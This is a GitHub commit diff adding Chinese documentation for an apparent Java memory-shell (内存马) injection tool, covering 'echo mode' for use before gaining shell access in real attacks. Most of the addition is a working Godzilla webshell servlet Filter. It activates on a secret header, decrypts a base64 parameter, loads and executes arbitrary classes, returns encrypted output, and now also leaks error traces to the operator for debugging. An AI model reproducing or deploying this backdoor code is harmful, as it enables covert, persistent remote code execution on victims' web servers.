Skip to content

Commit 2f933a9

Browse files
committed
docs: add more docs
1 parent 4070546 commit 2f933a9

File tree

1 file changed

+54
-1
lines changed

1 file changed

+54
-1
lines changed

web/content/docs/memshell-core-config.mdx

Lines changed: 54 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -127,7 +127,7 @@ Logger.info(msg) // (java.util)
127127
### 回显模式
128128

129129
<Callout title="注意" type="warn">
130-
并不是所有服务都支持回显马,因此在不支持的服务开启回显模式,也享受不到回显效果
130+
并不是所有服务都支持回显马,因此在不支持的服务即使开启回显模式,也享受不到回显效果
131131
</Callout>
132132

133133
调试模式仅限于我们能访问到业务日志,但是实战过程中,在没 getshell 前我们获取不到服务器权限,并且调试模式在目标业务打印大段注入信息属实敏感,因此有了回显模式。
@@ -140,6 +140,59 @@ Logger.info(msg) // (java.util)
140140
由于回显马需要从当前线程获取 request 和 response 对象,因此跨线程 RCE 的环境下,无法回显,根据代码执行顺序,无法回显的环境,开启回显模式之后注入器也不会进行注入动作,因此支持回显马但无法回显的环境,请一定不要开启回显模式。
141141
</Callout>
142142

143+
在确认了内存马注入成功后,如果发现连不上,我们需要调整我们的内存马,将错误信息带出,方便排查,内置的 Godzilla 已经默认支持了。
144+
145+
```java
146+
@Override
147+
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
148+
HttpServletRequest request = (HttpServletRequest) servletRequest;
149+
HttpServletResponse response = (HttpServletResponse) servletResponse;
150+
try {
151+
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
152+
PrintWriter writer = response.getWriter();
153+
try {
154+
byte[] data = base64Decode(request.getParameter(pass));
155+
data = this.x(data, false);
156+
if (payload == null) {
157+
payload = new GodzillaFilter(Thread.currentThread().getContextClassLoader()).Q(data);
158+
} else {
159+
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
160+
Object f = payload.newInstance();
161+
f.equals(arrOut);
162+
f.equals(request);
163+
f.equals(data);
164+
f.toString();
165+
writer.write(md5.substring(0, 16));
166+
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
167+
writer.write(md5.substring(16));
168+
}
169+
} catch (Throwable e) {
170+
e.printStackTrace();
171+
writer.write(getErrorMessage(e)); // [!code ++]
172+
}
173+
return;
174+
}
175+
} catch (Throwable e) {
176+
e.printStackTrace();
177+
}
178+
chain.doFilter(servletRequest, servletResponse);
179+
}
180+
181+
private String getErrorMessage(Throwable throwable) { // [!code ++]
182+
PrintStream printStream = null; // [!code ++]
183+
try { // [!code ++]
184+
ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); // [!code ++]
185+
printStream = new PrintStream(outputStream); // [!code ++]
186+
throwable.printStackTrace(printStream); // [!code ++]
187+
return outputStream.toString(); // [!code ++]
188+
} finally { // [!code ++]
189+
if (printStream != null) { // [!code ++]
190+
printStream.close(); // [!code ++]
191+
} // [!code ++]
192+
} // [!code ++]
193+
} // [!code ++]
194+
```
195+
143196

144197
### 绕过模块限制
145198

0 commit comments

Comments
 (0)